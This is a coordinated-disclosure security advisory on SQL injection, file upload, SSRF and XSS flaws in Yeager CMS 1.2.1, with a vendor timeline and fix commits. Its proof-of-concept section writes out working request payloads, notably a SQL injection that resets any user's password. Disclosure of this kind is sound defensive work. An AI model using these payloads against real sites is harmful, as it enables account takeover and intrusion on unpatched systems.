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SEC Consult Vulnerability Lab Security Advisory < 20160210-0 >
=======================================================================
              title: Multiple Vulnerabilities
            product: Yeager CMS
 vulnerable version: 1.2.1
      fixed version: 1.3
         CVE number: CVE-2015-7567, CVE-2015-7568, CVE-2015-7569, CVE-2015-7570
,
                     CVE-2015-7571, CVE-2015-7572
             impact: Critical
           homepage: http://yeager.cm/en/home/
              found: 2015-11-18
                 by: P. Morimoto (Office Bangkok)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
Yeager is an open source CMS that aims to become the most cost/time-effective
solution for medium and large web sites and applications.


Business recommendation:
------------------------
Yeager CMS suffers from multiple vulnerabilities due to improper input
validation and unprotected test scripts. By exploiting these vulnerabilities
an attacker could:
    1. Change user's passwords including the administrator's account.
    2. Gain full access to the Yeager CMS database.
    3. Determine internal servers that inaccessible from the Internet.
    4. Attack other users of the Yeager CMS with Cross-Site Scripting.

SEC Consult recommends not to use this software until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.

Vulnerability overview/description:
-----------------------------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
2. Post-authentication Blind SQL Injection (CVE-2015-7569)
3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
5. Non-permanent Cross-site Scripting (CVE-2015-7572)


Proof of concept:
-----------------
1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568)
http://<host>/yeager/?action=passwordreset&token=<SQL Injection>
http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"<SQL
Injection>"}}]

The vulnerability can also be used for unauthorized reset password of any user.
In order to reset a specific user's password, an attacker will need to provide
a valid email address of the user that he wants to attack.
The email can be retrieved by either social engineering or using the
aforementioned unauthenticated SQL injection vulnerability.

http://<host>/yeager/y.php/responder?handler=recoverLogin&us=sess_20000&lh=70&d
ata=["noevent",{"yg_property":"recoverLogin","params":{"userEmail":"<victim@ema
il.com>","winID":"1"}}]

The above URL just simply creates and sends a reset password token to the
user's email. Next, even if attacker does not know the token,
manipulating SQL commands allows to force to set the new password instantly.

Note that new password MUST be at least 8 characters in length
and must contain both letters and numbers.

http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70
&data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"'+or+ui
d=(select+id+from+yg_user+where+login='<victim@email.com>')+limit+1--+-","userP
assword":"<new-password>","winID":"1"}}]

2. Post-authentication Blind SQL Injection (CVE-2015-7569)
http://<host>/yeager/y.php/tab_USERLIST
POST Data:
win_no=4&yg_id=2-user&yg_type=user&wid=wid_4&refresh=1&initload=&us=sess_16000&
lh=325&pagedir_page=2&pagedir_perpage=1&pagedir_orderby=<SQL
Injection>&pagedir_orderdir=4&pagedir_from=5&pagedir_limit=6,7&newRole=1

3. Unauthenticated Arbitrary File Upload (CVE-2015-7571)
A publicly known Arbitrary File Upload vulnerability of Plupload was found in
Yeager CMS.
Fortunately, to successfully exploit the vulnerability requires PHP directive
"upload_tmp_dir" set to an existing directory and it must contain the writable
directory "plupload".

By default, the PHP directive "upload_tmp_dir" is an empty value.
As a result, the script will attempt to upload a file to /plupload/ instead
which generally does not exist on the filesystem.

http://<host>/yeager/ui/js/3rd/plupload/examples/upload.php

4. Unauthenticated Server-side Request Forgery (CVE-2015-7570)
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_datadictionary.php
http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite_sessions.php

The parameter "dbhost" can be used to perform internal port scan using
time delay measurement. An attacker can provide internal IP address
and port number, for example, 10.10.0.1:22. The attacker then compares
time delays from multiple responses in order to determine host
and port availability.

5. Non-permanent Cross-site Scripting (CVE-2015-7572)
A previously published XSS vulnerability of Plupload was found in Yeager CMS.
http://<host>/yeager/ui/js/3rd/plupload/js/plupload.flash.swf?id=\%22%29%29;}ca
tch%28e%29{alert%28/XSS/%29;}//


Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been tested on Yeager CMS 1.2.1

URL: http://yeager.cm/en/download/package/?v=1.2.1.0.0


Vendor contact timeline:
------------------------
2015-12-07: Contacting vendor through office@nexttuesday.de, contact@yeager.cm
2015-12-07: Established secure communication channel
2015-12-07: Sending advisory draft
2015-12-10: Yeager CMS 1.2.2 released for security fixes
2015-12-22: Yeager CMS 1.3 released for security fixes
2016-02-10: Public advisory release

Solution:
---------
The vulnerability has been fixed in Yeager CMS 1.3 and later.

https://github.com/ygcm/yeager/commit/74e0ce518321e659cda54f3f565ca0ce8794dba8#
diff-4200a6e704ae66ada32f35f69796cc71
https://github.com/ygcm/yeager/commit/053a3b98a9a3f4fd94186cbb8994de0a3e8d9307

Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Send us your application https://www.sec-consult.com/en/Career.htm

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Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF Pichaya Morimoto / @2015